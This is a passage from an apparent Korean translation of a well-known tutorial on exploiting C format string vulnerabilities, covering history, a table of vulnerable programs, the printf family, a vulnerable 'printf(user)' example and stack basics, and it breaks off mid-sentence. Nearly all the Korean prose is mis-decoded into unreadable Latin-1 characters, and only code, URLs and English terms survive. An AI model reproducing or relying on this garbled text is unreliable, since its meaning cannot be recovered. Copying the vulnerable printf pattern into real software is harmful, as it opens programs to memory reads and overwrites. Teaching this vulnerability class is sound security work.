[1ȸ] /* Âü°í·Î À̰ÍÀº ÃÑ 7~10ȸ·Î ±¸¼ºµÉ °ÍÀÌ´Ù. ±¸¼º ¼ø¼­´Â ¾Æ·¡ Â÷·Ê¿Í °°´Ù. */ ****************************************************************************************** ÀÌ ¹®¼­´Â team-tesoÀÇ scut°¡ ÀÛ¼ºÇÑ ¡°Exploiting Format String Vulnerabilities¡±À» ¹ø¿ª ¹× ÆíÁýÀ» ÅëÇØ ÀÛ¼ºÇÑ °ÍÀÌ´Ù. ¹èÆ÷´Â ÀÚÀ¯·Ó°Ô ÇÒ ¼ö ÀÖÀ¸¸ç, Ãâó¸¦ ¹Ýµå½Ã ¹àÇôÁÖ±æ ¹Ù¶õ´Ù. ¿ÀŸ ¹× ¿À·ù°¡ ÀÖÀ¸¸é ÁöÀûÇØÁֽñæ... ¿ø¹®Àº http://www.wowsecurity.net/source/formatstring.pdf¸¦ Âü°íÇϽñæ. Á¦¸ñ: Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ °ø°Ý(¹öÀü: 1.2) ¹ø¿ª ¹× ÆíÁý: vangelis(http://www.wowhacker.org) ****************************************************************************************** [Â÷·Ê] 1. ¼Ò°³ 1.1 ¹öÆÛ ¿À¹öÇ÷οì vs Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ 1.2 Åë°è: 2000³â¿¡ ¹ß°ßµÈ ÁÖ¿ä Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ 2. Æ÷¸Ë ÇÔ¼öµé 2.1 Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡Àº ¾î¶»°Ô »ý°å´Â°¡? 2.2 Æ÷¸Ë ÇÔ¼ö °è¿­ 2.3 Æ÷¸Ë ÇÔ¼öÀÇ »ç¿ë 2.4 Æ÷¸Ë ½ºÆ®¸µÀ̶õ Á¤È®ÇÏ°Ô ¹«¾ùÀΰ¡? 2.5 ½ºÅðú Æ÷¸Ë ½ºÆ®¸µ¿¡¼­ ±×°ÍÀÇ ¿ªÇÒ 3. Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ 3.1 ¹«¾ùÀ» ÅëÁ¦Çϴ°¡? 3.2 ÇÁ·Î±×·¥ÀÇ ÆÄ±« 3.3 ÇÁ·Î¼¼½º ¸Þ¸ð¸® º¸±â 3.3.1 ½ºÅà º¸±â 3.3.2 ¾î¶² À§Ä¡¿¡¼­ ¸Þ¸ð¸® º¸±â 3.4 ÀÓÀÇÀÇ ¸Þ¸ð¸® µ¤¾î¾²±â 3.4.1 °ø°Ý - ÀϹÝÀûÀÎ ¹öÆÛ ¿À¹öÇ÷οì¿Í À¯»ç 3.4.2 °ø°Ý - ¼ø¼ö Æ÷¸Ë ½ºÆ®¸µ 4. ´Ù¾çÇÑ °ø°Ý 4.1 ª°Ô ¾²±â 4.2 ½ºÅà Popping 4.3 Á÷Á¢ÀûÀÎ ÆÄ¶ó¹ÌÅÍ Á¢±Ù 5. ¹«ÀÛÀ§ ´ëÀÔ 5.1 ¹«ÀÛÀ§ ´ëÀÔ ±â¹ÝÀÇ ¹ÝÀÀ 5.2 ¸Í¸ñÀûÀÎ ¹«ÀÛÀ§ ´ëÀÔ 6. Ưº°ÇÑ °æ¿ìµé 6.1 ´ë¾È ¸ñÇ¥ 6.1.1 GOT µ¤¾î¾²±â 6.1.2 DTORS 6.1.3 C ¶óÀ̺귯¸® ÈÄÅ© 6.1.4 _atexit ±¸Á¶ 6.1.5 ÇÔ¼ö Æ÷ÀÎÅÍ 6.1.6 jmpbuf¡®s 6.2 LibC ¾ÈÀ¸·Î ¸®ÅÏ 6.3 ´Ù¾çÇÑ Print 6.4 Heap ³»ÀÇ Æ÷¸Ë ½ºÆ®¸µ 6.5 Ưº°È÷ °í·ÁÇÒ Á¡ 7 Åøµé 7.1 ltrace, strace 7.2 GDB, objdump ____________________________________________________________________________________ 1. ¼Ò°³ ÀÌ ¹®¼­´Â 2000³â ÈÄ¹Ý º¸¾È Ä¿¹Â´ÏƼ¸¦ Ãæ°Ý ¼ÓÀ¸·Î ¸ô¾Æ³ÖÀº Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡À̶ó´Â Çö»óÀÇ º»Áú¿¡ ´ëÇØ¼­ ¼³¸íÇÏ´Â °ÍÀε¥, »õ·Î¿î Á¾·ùÀÇ Ãë¾àÁ¡µéÀÌ ¹ß°ßµÇ°í ÀÖÀ¸¸ç, ÀÛÀº À¯Æ¿¸®Æ¼¿¡¼­ºÎÅÍ ¼­¹ö ¾îÇø®ÄÉÀ̼ǿ¡ À̸£´Â ¸ðµç Á¾·ùÀÇ ÇÁ·Î±×·¥¿¡¼­ ÀͽºÇ÷ÎÀÕÀÌ °¡´ÉÇÑ ¹ö±×µéÀÇ ¹°°áÀÌ ¹ß°ßµÇµµ·Ï ¾ß±â½ÃÄ×´Ù. ÀÌ ¹®¼­´Â Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ÀÇ ±¸Á¶¸¦ ¼³¸íÇÑ ÈÄ º¹ÀâÇÑ exploit¸¦ ¸¸µå´Âµ¥ ÀÌ Áö½ÄÀ» »ç¿ëÇÒ °ÍÀÌ´Ù. ±×°ÍÀº C ¼Ò½º Äڵ忡¼­ Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡À» ¾î¶»°Ô ¹ß°ßÇϰí, ¿Ö ÀÌ Ãë¾àÁ¡ÀÌ ÀϹÝÀûÀÎ ¹öÆÛ ¿À¹öÇ÷οì Ãë¾àÁ¡º¸´Ù ´õ À§ÇèÇÑÁö º¸¿©ÁØ´Ù. ÀÌ ¹®¼­´Â µ¶ÀÏÀÇ º£¸£¸°¿¡¼­ ¿­¸° 17ȸ Chaos Communication Congress(http://www.ccc.de/congress/)¿¡¼­ ¹ßÇ¥ÇÑ °ÍÀ» ¹ÙÅÁÀ¸·Î Çϰí ÀÖ´Ù. ÀÌ ¹®¼­´Â ´Ù¸¥ ¹®¼­µé¿¡¼­ ¾ð±ÞµÈ ´ëºÎºÐÀ» Æ÷ÇÔÇϰí ÀÖÀ¸¸ç, ÀÌ Ãë¾àÁ¡À» ÀͽºÇ÷ÎÀÕÇÒ ¶§ ÇÊ¿äÇÑ ¸î °¡Áö¸¦ ´õ Ãß°¡Çß´Ù. ÀÌ ¹®¼­¸¦ ÀÐ°í ¸»ÇÏ°í ½ÍÀº °ÍÀÌ ÀÖ´Ù¸é scut@team-teso.netÀ¸·Î º¸³»ÁÖ±æ ¹Ù¶õ´Ù. ÀÌ ¹®¼­ÀÇ Ã¹ ºÎºÐÀº Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ÀÇ ¿ª»ç¿Í ÀνÄÀ» ´Ù·ç¸ç, ±×·± ´ÙÀ½ ¼Ò½º Äڵ忡¼­ ±×¿Í °°Àº Ãë¾àÁ¡À» ¹ß°ßÇÏ´Â ¹æ¹ý°ú ±× Ãë¾àÁ¡À» ÇÇÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ ÀÚ¼¼ÇÏ°Ô ´Ù·é´Ù. ±× ´ÙÀ½À¸·Î ÀÌ Ãë¾àÁ¡À» ´Ù·ç±â À§ÇÑ ±âº»ÀûÀÎ Å×Å©´Ð¿¡ ´ëÇØ¼­ ¾Ë¾Æº¼ °ÍÀÌ´Ù. ÀÌ ¹æ¹ýÀº ¼öÁ¤µÇ°í, °³¼±µÇ¾úÀ¸¸ç, ±×¸®°í ¿À´Ã³¯±îÁö ¾Ë·ÁÁø ¾î¶² Á¾·ùÀÇ Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡µµ °ÅÀÇ ÀͽºÇ÷ÎÀÕÇÒ ¼ö ÀÖµµ·Ï ÇØÁִ ƯÁ¤ÇÑ »óȲ¿¡ ½ÇÁ¦ÀûÀ¸·Î Àû¿ëµÉ °ÍÀÌ´Ù. ¸ðµç Ãë¾àÁ¡°ú ¸¶Âù°¡Áö·Î Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡µµ ¿©·¯ ½Ã°£À» ÅëÇØ °³¹ßµÇ¾úÀ¸¸ç, Á¾Á¾ ¿¾ Ãë¾àÁ¡µéÀÌ ¾î¶² »óȲ¿¡¼­´Â Àû¿ëµÇÁö ¾Ê±â ¶§¹®¿¡ »õ·Î¿î Å×Å©´ÐµéÀÌ µîÀåÇϰí ÀÖ´Ù. ÀÌ ¹®¼­¸¦ ÀÛ¼ºÇϴµ¥ ¸¹Àº ¿µÇâÀ» ÁØ »ç¶÷µé·Î¼­´Â ÃÖÃÊÀÇ Æ÷¸Ë ½ºÆ®¸µ exploitÀ» ÀÛ¼ºÇÑ tf8¿Í ±×ÀÇ ¶Ù¾î³­ ±Û¿¡¼­ ÀͽºÇ÷ÎÀÕ °¡´É¼ºÀ» ¿¬±¸ÇÏ°í °³¹ßÇÑ portal, ¿À´Ã³¯ ¾Ë·ÁÁø ´ëºÎºÐÀÇ ÁÖ¿ä Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡À» ¹ß°ßÇÑ DiGiT, ±×¸®°í º¹ÀâÇÑ ¹«ÀÛÀ§ ´ëÀÔ¹ý Å×Å©´ÐÀ» °³¹ßÇÑ smilerÀÌ´Ù. 1.1 ¹öÆÛ ¿À¹öÇ÷οì vs Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ °ú°Å¿¡ °ÅÀÇ ¸ðµç ÁÖ¿ä Ãë¾àÁ¡µéÀÌ ÀÏÁ¾ÀÇ ¹öÆÛ ¿À¹öÇ÷ο쿴±â ¶§¹®¿¡ À̰Ͱú Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡À» ºñ±³Çغ¸±â·Î ÇÏÀÚ. ____________________________________________________________________ ¹öÆÛ ¿À¹öÇ÷οì / Æ÷¸Ë ½ºÆ®¸µ ____________________________________________________________________ ´ëÁßÈ­ / 1980³â´ë Áß¹Ý ÀÌÈÄ / 1999³â 6¿ù ____________________________________________________________________ À§ÇèÀÎ½Ä / 1990³â´ë / 2000³â 6¿ù ____________________________________________________________________ exploit ¼ö / ¾ÆÁÖ ¸¹À½ / ¾ÆÁ÷ ¸¹Áö´Â ¾ÊÀ½ ____________________________________________________________________ ÀÎ½Ä / º¸¾È À§Çù / ÇÁ·Î±×·¡¹Ö ¹ö±× ____________________________________________________________________ Å×Å©´Ð / ¹ßÀüµÊ / ±âº»ÀûÀÎ »óÅ ____________________________________________________________________ ÀÎÁö / °¡²û ¾Ë¾Æ³»±â ¾î·Á¿ò / ã±â ½¬¿ò ____________________________________________________________________ 1.2 Åë°è: 2000³â ÁÖ¿ä Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡µé ___________________________________________________________________ ¾îÇø®ÄÉÀÌ¼Ç / ¹ß°ßÀÚ / ¿µÇâ ___________________________________________________________________ wu-ftpd 2.* / security.is / remote root ___________________________________________________________________ Linux rpc.statd / security.is / remote root ___________________________________________________________________ IRIX telnetd / LSD / remote root ___________________________________________________________________ Qualcomm Popper 2.53 / security.is / remote user ___________________________________________________________________ Apache + PHP3 / security.is / remote user ___________________________________________________________________ NLS / locale / CORE SDI / local root ___________________________________________________________________ screen / Jouko Pynnonen / local root ___________________________________________________________________ BSD chpass / TESO / local root ___________________________________________________________________ OpenBSD fstat / ktwo / local root ___________________________________________________________________ ¾ÆÁ÷ ¾Ë·ÁÁöÁö ¾Ê¾Ò°Å³ª ¹ß°ßµÇÁö ¾ÊÀº Ãë¾àÁ¡µéÀÌ ¿©ÀüÈ÷ Á¸ÀçÇϸç, ¾ÕÀ¸·Î 2~3³â µ¿¾È ¹ß°ßµÉ »õ·Î¿î Ãë¾àÁ¡µéÀÇ Åë°è¿¡ Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡µéÀÌ ±â¿©ÇÒ °ÍÀÌ´Ù. ¾ÕÀ¸·Î ¾Ë¾Æº¸°ÚÁö¸¸, Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡Àº Á»´õ º¹ÀâÇÑ ÅøÀ» °¡Áö°í ÀÚµ¿ÀûÀ¸·Î ¹ß°ßÇϱⰡ ½¬¿ì¸ç, ¿À´Ã³¯ÀÇ ´ëºÎºÐÀÇ Äڵ忡 ¾ÆÁ÷ °ø°³ÀûÀ¸·Î ¾Ë·ÁÁöÁö ¾Ê¾Ò°Å³ª ÀÌ¹Ì exploitÀÌ Á¸ÀçÇÏ´Â Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡µéÀÌ Á¸ÀçÇÑ´Ù°í °¡Á¤Çصµ ¹«¸®°¡ ¾øÀ» °ÍÀÌ´Ù. ¾îÇø®ÄÉÀ̼ǵ鿡¼­ ¹ÙÀ̳ʸ® ÇüŸ¸À¸·Î ÀÌ¿ë °¡´ÉÇÑ Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡µéÀ» ¹ß°ßÇÏ´Â ¹æ¹ýµéµµ ÀÖ´Ù. À̰ÍÀ» Çϱâ À§Çؼ­´Â µ¶¸³º¯¼ö °áÇÔÀ» ã±â À§ÇÑ Á»´õ Æ÷°ýÀûÀÎ Á¢±ÙÀÌ »ç¿ëµÇ°í, Halvar FlakeÀÇ ¶Ù¾î³­ ¹ÙÀ̳ʸ® Á¡°Ë¿¡ ´ëÇÑ ±Û ¡°Auditing binaries for security vulnerabilities¡± (http://www.blackhat.com/presentations/bh-europe-00/HalvarFlake/HalvarFlake.ppt)¿¡¼­ ÀÚ¼¼ÇÏ°Ô ¼³¸íµÇ¾î ÀÖ´Ù. ****************************************************************************************** ÀÌ ¹®¼­´Â team-tesoÀÇ scut°¡ ÀÛ¼ºÇÑ ¡°Exploiting Format String Vulnerabilities¡±À» ¹ø¿ª ¹× ÆíÁýÀ» ÅëÇØ ÀÛ¼ºÇÑ °ÍÀÌ´Ù. ¹èÆ÷´Â ÀÚÀ¯·Ó°Ô ÇÒ ¼ö ÀÖÀ¸¸ç, Ãâó¸¦ ¹Ýµå½Ã ¹àÇôÁÖ±æ ¹Ù¶õ´Ù. ¿ÀŸ ¹× ¿À·ù°¡ ÀÖÀ¸¸é ÁöÀûÇØÁֽñæ... ¿ø¹®Àº http://www.wowsecurity.net/source/formatstring.pdf¸¦ Âü°íÇϽñæ. Á¦¸ñ: Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ °ø°Ý(¹öÀü: 1.2) ¹ø¿ª ¹× ÆíÁý: vangelis(http://www.wowhacker.org) ****************************************************************************************** 2. Æ÷¸Ë ÇÔ¼ö Æ÷¸Ë ÇÔ¼ö´Â Ưº°ÇÑ Á¾·ùÀÇ ANSI C ÇÔ¼ö·Î¼­ µ¶¸³º¯¼ö¸¦ °¡Áö¸ç, ±×°ÍÀ¸·ÎºÎÅÍ Çϳª°¡ Æ÷¸Ë ½ºÆ®¸µÀÌ´Ù. ±× ÇÔ¼ö°¡ Æ÷¸Ë ½ºÆ®¸µÀÇ °ªÀ» ±¸ÇÏ´Â µ¿¾È ±×°ÍÀº ±× ÇÔ¼ö¿¡ ÁÖ¾îÁø ƯÁ¤ ÆÄ¶ó¹ÌÅÍ¿¡ Á¢±ÙÇÑ´Ù. ±×°ÍÀº ¿ªÇÔ¼öÀ̸ç, ±× ¿ªÇÔ¼ö´Â »ç¶÷ÀÌ ÀÐÀ» ¼ö ÀÖ´Â ½ºÆ®¸µ Ç¥ÇöÀ¸·Î¼­ ¿ø½Ã C µ¥ÀÌÅÍ Å¸ÀÔÀ» ³ªÅ¸³»±â À§ÇØ »ç¿ëµÈ´Ù. ±×°ÍµéÀº Á¤º¸¸¦ Ãâ·ÂÇϰí, ¿¡·¯ ¸Þ½ÃÁö¸¦ ÇÁ¸°ÅÍÇϰí, ¶Ç´Â ½ºÆ®¸µÀ» ó¸®Çϱâ À§ÇØ °ÅÀÇ ¾î¶² C ÇÁ·Î±×·¥¿¡¼­µµ »ç¿ëµÈ´Ù. ÀÌ Àå¿¡¼­ ¿ì¸®´Â Æ÷¸Ë ÇÔ¼öµéÀÇ ¿ë¹ý¿¡¼­ ÀüÇüÀûÀÎ Ãë¾àÁ¡°ú Á¤È®ÇÑ ¿ë¹ý, ±× ÆÄ¶ó¹ÌÅÍÀÇ ¸î °¡Áö, ±×¸®°í Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ÀÇ ÀϹÝÀûÀÎ °³³ä¿¡ ´ëÇØ¼­ ¾Ë¾Æº¼ °ÍÀÌ´Ù. 2.1 Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡Àº ¾î¶»°Ô »ý°å´Â°¡? ¸¸¾à ¾î¶² °ø°ÝÀÚ°¡ Æ÷¸Ë ½ºÆ®¸µÀ» ANSI C Æ÷¸Ë ÇÔ¼ö¿¡ ºÎºÐÀûÀ¸·Î ¶Ç´Â ÀüüÀûÀ¸·Î Á¦°øÇÒ ¼ö ÀÖ´Ù¸é Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ÀÌ Á¸ÀçÇÑ´Ù. ±×·¸°Ô ÇÔÀ¸·Î½á Æ÷¸Ë ÇÔ¼öÀÇ ÇൿÀÌ º¯ÇÏ°Ô µÇ°í, °ø°ÝÀÚ´Â ¸ñÇ¥ ¾îÇø®ÄÉÀ̼ǿ¡ ´ëÇÑ ÅëÁ¦±ÇÀ» Àå¾ÇÇÒ ¼ö ÀÖ´Ù. ¾Æ·¡ÀÇ º¸±â¿¡¼­ ½ºÆ®¸µ user°¡ °ø°ÝÀÚ¿¡ ÀÇÇØ Á¦°øµÇ´Âµ¥, °ø°ÝÀÚ´Â ¿¹¸¦ µé¾î ¸í·É ¶óÀÎ ÆÄ¶ó¹ÌÅÍ »ç¿ëÀ» ÅëÇØ Àüü ASCIIZ-stringÀ» ÅëÁ¦ÇÒ ¼ö ÀÖ´Ù. À߸øµÈ ¿ë¹ý: int func (char *user) { printf (user); } Ok: int func (char *user) { printf ("%s", user); } 2.2 Æ÷¸Ë ÇÔ¼ö °è¿­ ¸¹Àº Æ÷¸Ë ÇÔ¼öµéÀÌ ANSI C Á¤ÀÇ¿¡ Á¤ÀǵǾî ÀÖ´Ù. ´õ º¹ÀâÇÑ ÇÔ¼öµéÀÌ ±â¹ÝÀ» µÎ°í ÀÖ´Â ¸î °¡Áö ±âº»ÀûÀÎ Æ÷¸Ë ½ºÆ®¸µ ÇÔ¼öµéÀÌ ÀÖÀ¸¸ç, ±×°Íµé Áß ¸î °¡Áö´Â Ç¥ÁØÀº ¾Æ´ÏÁö¸¸ ³Î¸® »ç¿ëµÉ ¼ö ÀÖ´Ù. ½ÇÁ¦ °è¿­ ¿ä¼Ò: * fprintf: FILE ½ºÆ®¸²¿¡ ÇÁ¸°ÅÍ * printf: ¡®stdout¡¯ ½ºÆ®¸²¿¡ ÇÁ¸°ÅÍ * sprintf: ¾î¶² ½ºÆ®¸µ ¾È¿¡ ÇÁ¸°ÅÍ * snprintf: ±æÀÌ È®Àΰú ´õºÒ¾î ½ºÆ®¸µ ¾È¿¡ ÇÁ¸°ÅÍ * vfprintf: va_arg ±¸Á¶·ÎºÎÅÍ FILE ½ºÆ®¸²¿¡ ÇÁ¸°ÅÍ * vprintf: va_arg ±¸Á¶·ÎºÎÅÍ ¡®stdout'¿¡ ÇÁ¸°ÅÍ * vsprintf: va_arg ±¸Á¶·ÎºÎÅÍ ½ºÆ®¸µ¿¡ ÇÁ¸°ÅÍ * vsnprintf: va_arg ±¸Á¶·ÎºÎÅÍ ±æÀÌ È®Àΰú ÇÔ²² ½ºÆ®¸µ¿¡ ÇÁ¸°ÅÍ °ü·Ã¿ä¼Ò: * setproctitle: argv[] ¼³Á¤ * syslog: syslog ÀåÄ¡¿¡ Ãâ·Â * err*, verr*, warn*, vwarn* µî 2.3 Æ÷¸Ë ÇÔ¼öµéÀÇ »ç¿ë ÀÌ Ãë¾àÁ¡ÀÌ C ÄÚµå ¾îµð¿¡¼­ ÀϹÝÀûÀÎÁö ÀÌÇØÇϱâ À§ÇØ ¿ì¸®´Â Æ÷¸Ë ÇÔ¼öÀÇ ¸ñÀûÀ» ¾Ë¾Æº¸¾Æ¾ß ÇÑ´Ù. ±â´É¼º * °£´ÜÇÑ C µ¥ÀÌÅÍŸÀÔÀ» ½ºÆ®¸µ Ç¥½Ã·Î ÀüȯÇϱâ À§ÇØ »ç¿ëµÊ * ±× Ç¥½ÃÀÇ Æ÷¸ËÀ» ÁöÁ¤ÇÏ´Â °ÍÀ» Çã¿ë * ±× °á°ú·Î ³ª¿À´Â ½ºÆ®¸µÀ» ó¸®(stderr, stdout, syslog µî¿¡ Ãâ·Â) Æ÷¸Ë ÇÔ¼öÀÇ ÀÛµ¿ ¹æ½Ä * Æ÷¸Ë ½ºÆ®¸µÀº ÇÔ¼öÀÇ ÇàÀ§¸¦ ÅëÁ¦ÇÑ´Ù. * ÇÁ¸°Å͵Ǿî¾ß ÇÏ´Â ÆÄ¶ó¹ÌÅÍÀÇ Å¸ÀÔÀ» ÁöÁ¤ÇÑ´Ù. * ÆÄ¶ó¹ÌÅÍ´Â ½ºÅÿ¡ ÀúÀåµÈ´Ù.(pushed) * Á÷Á¢ÀûÀ¸·Îµç(value·Î) ¾Æ´Ï¸é °£Á¢ÀûÀ¸·Îµç(reference·Î) ÀúÀåµÈ´Ù. ÇÔ¼öÈ£ÃâÀº Æ÷¸Ë ÇÔ¼ö°¡ ¸®Å쵃 ¶§ ±×°ÍÀÌ ¾ó¸¶³ª ¸¹Àº ÆÄ¶ó¹ÌÅ͸¦ ½ºÅÿ¡ pushÇÏ´ÂÁö ¾Ë¾Æ¾ß ÇÑ´Ù. 2.4 Æ÷¸Ë ½ºÆ®¸µÀ̶õ Á¤È®ÇÏ°Ô ¹«¾ùÀΰ¡? Æ÷¸Ë ½ºÆ®¸µÀ̶õ ÅØ½ºÆ®¿Í Æ÷¸Ë ÆÄ¶ó¹ÌÅ͸¦ Æ÷ÇÔÇÏ´Â ASCIIZ ½ºÆ®¸µÀÌ´Ù. ¿¹: printf ("The magic number is: %d\n", 1911); ÇÁ¸°ÅÍµÉ ÅØ½ºÆ®´Â ¡°The magic number in:À̸ç, Æ÷¸Ë ÆÄ¶ó¹ÌÅÍ %d°¡ µû¸£°í, À̰ÍÀº Ãâ·Â½Ã ÆÄ¶ó¹ÌÅÍ(1911)·Î ´ëüµÈ´Ù. ±×·¯¹Ç·Î Ãâ·Â¹°Àº ¡±The magic number is: 1911"ÀÌ´Ù. ¸î °¡Áö Æ÷¸Ë ÆÄ¶ó¹ÌÅÍ: _________________________________________________________________________ ÆÄ¶ó¹ÌÅÍ / Ãâ·Â / passed by ________________________________________________________________________ %d ½ÊÁø¼ö(int) °ª ________________________________________________________________________ %u unsigned ½ÊÁø¼ö(unsigned int) °ª ________________________________________________________________________ %x 16Áø¼ö(unsigned int) °ª ________________________________________________________________________ %s ½ºÆ®¸µ((const) (unsigned) char *) ·¹ÆÛ·±½º ________________________________________________________________________ %n ¿©Å±îÁö ¾²ÀÎ ¹ÙÀÌÆ® ¼ö, (* int) ·¹ÆÛ·±½º ________________________________________________________________________ ¡®\¡¯ ¹®Àڴ Ưº°ÇÑ ¹®ÀÚµéÀ» escape Çϴµ¥ »ç¿ëµÈ´Ù. ±×°ÍÀº ¹ÙÀ̳ʸ®ÀÇ ÀûÀýÇÑ ¹®ÀÚ¿¡ ÀÇÇØ escape ½ÃÄö½Ã¸¦ ´ëüÇϸ鼭 ÄÄÆÄÀÏ ¶§ C ÄÄÆÄÀÏ·¯¿¡ ÀÇÇØ ´ëüµÈ´Ù. Æ÷¸Ë ÇÔ¼öµéÀº ±×·± ƯÁ¤ÇÑ ½ÃÄö½Ã¸¦ ÀνÄÇÏÁö ¸øÇÑ´Ù. »ç½Ç, Æ÷¸Ë ÇÔ¼ö¿Í´Â ÀüÇô »ó°üÀÌ ¾ø´Ù. ÇÏÁö¸¸ °¡²û È¥ÇյDZ⵵ ÇÑ´Ù. ¿¹: printf ("The magic number is: \x25d\n", 23); À̰ÍÀº Á¦´ë·Î ½ÇÇàµÇ´Âµ¥, \x25°¡ %·Î ÄÄÆÄÀÏ ¶§ ´ëüµÇ±â ¶§¹®À̸ç, 0x25(37)´Â ÆÛ¼¾Æ® ¹®ÀÚ¿¡ ´ëÇÑ ASCII °ªÀ̱⠶§¹®ÀÌ´Ù. 2.5 ½ºÅðú Æ÷¸Ë ½ºÆ®¸µ¿¡¼­ ½ºÅÃÀÇ ¿ªÇÒ Æ÷¸Ë ÇÔ¼öÀÇ ÀÛµ¿Àº Æ÷¸Ë ½ºÆ®¸µ¿¡ ÀÇÇØ¼­ ÅëÁ¦µÈ´Ù. ±× ÇÔ¼ö´Â ½ºÅÃÀ¸·ÎºÎÅÍ Æ÷¸Ë ½ºÆ®¸µ¿¡ ÀÇÇØ ¿äû¹ÞÀº ÆÄ¶ó¹ÌÅ͸¦ ÀúÀåÇÑ´Ù. printf ("Number %d has no address, number %d has: %08x\n", i, a, &a); printf ÇÔ¼ö ³»¿¡¼­ º»´Ù¸é ½ºÅÃÀÇ ¸ð¾çÀ» ´ÙÀ½°ú °°´Ù. _____________ stack top . . . <&a> A . . . stack bottom _____________ À§ÀÇ ±¸Á¶¸¦ »ìÆìº¸¸é ´ÙÀ½°ú °°´Ù. A: Æ÷¸Ë ½ºÆ®¸µÀÇ ÁÖ¼Ò i: º¯¼ö iÀÇ °ª a: º¯¼ö aÀÇ °ª &a: º¯¼ö iÀÇ ÁÖ¼Ò Æ÷¸Ë ÇÔ¼ö´Â ÇÑ ¹®ÀÚ¸¦ ÀÐÀ¸¹Ç·Î¼­ Æ÷¸Ë ½ºÆ®¸µÀ» ºÐ¼®ÇÑ´Ù. ¸¸¾à ±×°ÍÀÌ ¡®%¡¯ÀÌ ¾Æ´Ï¶ó¸é ±× ¹®ÀÚ´Â Ãâ·ÂÀ¸·Î º¹»çµÈ´Ù. ±×·± °æ¿ì ¡®%¡¯ µÚÀÇ ¹®ÀÚ´Â ÆÄ¶ó¹ÌÅÍÀÇ Å¸ÀÔÀ» ÁöÁ¤ÇÑ´Ù. ½ºÆ®¸µ ¡°%%¡±Àº Ưº°ÇÑ Àǹ̸¦ °¡Áö°í Àִµ¥, ±×°ÍÀº escape ¹®ÀÚ '%' ÀÚü¸¦ ÇÁ¸°ÅÍÇϴµ¥ »ç¿ëµÈ´Ù. ´Ù¸¥ ¸ðµç ÆÄ¶ó¹ÌÅÍ´Â µ¥ÀÌÅÍ¿¡ °ü·ÃµÇ°í, ½ºÅÃ»ó¿¡ À§Ä¡ÇÑ´Ù. ****************************************************************************************** ÀÌ ¹®¼­´Â team-tesoÀÇ scut°¡ ÀÛ¼ºÇÑ ¡°Exploiting Format String Vulnerabilities¡±À» ¹ø¿ª ¹× ÆíÁýÀ» ÅëÇØ ÀÛ¼ºÇÑ °ÍÀÌ´Ù. ¹èÆ÷´Â ÀÚÀ¯·Ó°Ô ÇÒ ¼ö ÀÖÀ¸¸ç, Ãâó¸¦ ¹Ýµå½Ã ¹àÇôÁÖ±æ ¹Ù¶õ´Ù. ¿ÀŸ ¹× ¿À·ù°¡ ÀÖÀ¸¸é ÁöÀûÇØÁֽñæ... ¿ø¹®Àº http://www.wowsecurity.net/source/formatstring.pdf¸¦ Âü°íÇϽñæ. Á¦¸ñ: Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ °ø°Ý(¹öÀü: 1.2) ¹ø¿ª ¹× ÆíÁý: vangelis(http://www.wowhacker.org) ****************************************************************************************** ** 3. Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ Æ÷°ýÀûÀÎ Á¾·ùÀÇ Æ÷¸Ë ½ºÆ®¸µÀº ¡°Ã¤³Î¸µ ¹®Á¦¡±ÀÌ´Ù. ÀÌ·± ÇüÅÂÀÇ Ãë¾àÁ¡Àº ¸¸¾à µÎ °³ÀÇ ´Ù¸¥ ÇüÅÂÀÇ Á¤º¸ ä³ÎÀÌ Çϳª ¼ÓÀ¸·Î º´Çյǰí, ƯÁ¤ÇÑ escape ¹®ÀÚ³ª ½ÃÄö½Ã°¡ ¾î´À ä³ÎÀÌ ÇöÀç Ȱ¼ºÈ­µÇ¾î ÀÖ´ÂÁö ±¸ºÐÇϱâ À§ÇØ »ç¿ëµÈ´Ù¸é ³ªÅ¸³¯ ¼ö ÀÖ´Ù. ´ëºÎºÐ ÇϳªÀÇ Ã¤³ÎÀº µ¥ÀÌÅÍ Ã¤³ÎÀ̰í, ´Ù¸¥ ä³ÎÀÌ ÅëÁ¦ ä³ÎÀÎ ¹Ý¸é ±×°ÍÀº Ȱ¹ßÇÏ°Ô ºÐ¼®µÇÁö ¾Ê°í ´ÜÁö º¹»çµÈ´Ù. À̰ÍÀÌ ±× ÀÚü·Î´Â ³ª»Û °ÍÀÌ ¾Æ´ÏÁö¸¸ ¸¸¾à °ø°ÝÀÚ°¡ ÇϳªÀÇ Ã¤³Î¿¡ »ç¿ëµÇ´Â ÀԷ°ªÀ» °ø±ÞÇÒ ¼ö ÀÖ´Ù¸é ±×°ÍÀº º¸¾È»óÀÇ ¹®Á¦°¡ µÉ ¼ö ÀÖ´Ù. Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡¿¡¼­Ã³·³ Á¾Á¾ °áÇÔÀÌ ÀÖ´Â escape ¶Ç´Â de-escape ·çƾÀÌ Àְųª, ¶Ç´Â ±×°ÍµéÀÌ ¾î¶² ·¹º§À» »ìÇDZ⵵ ÇÑ´Ù. °£´ÜÈ÷ ¸»Çؼ­ ä³Î¸µ ¹®Á¦´Â ±× ÀÚü·Î´Â º¸¾È ȦÀÌ 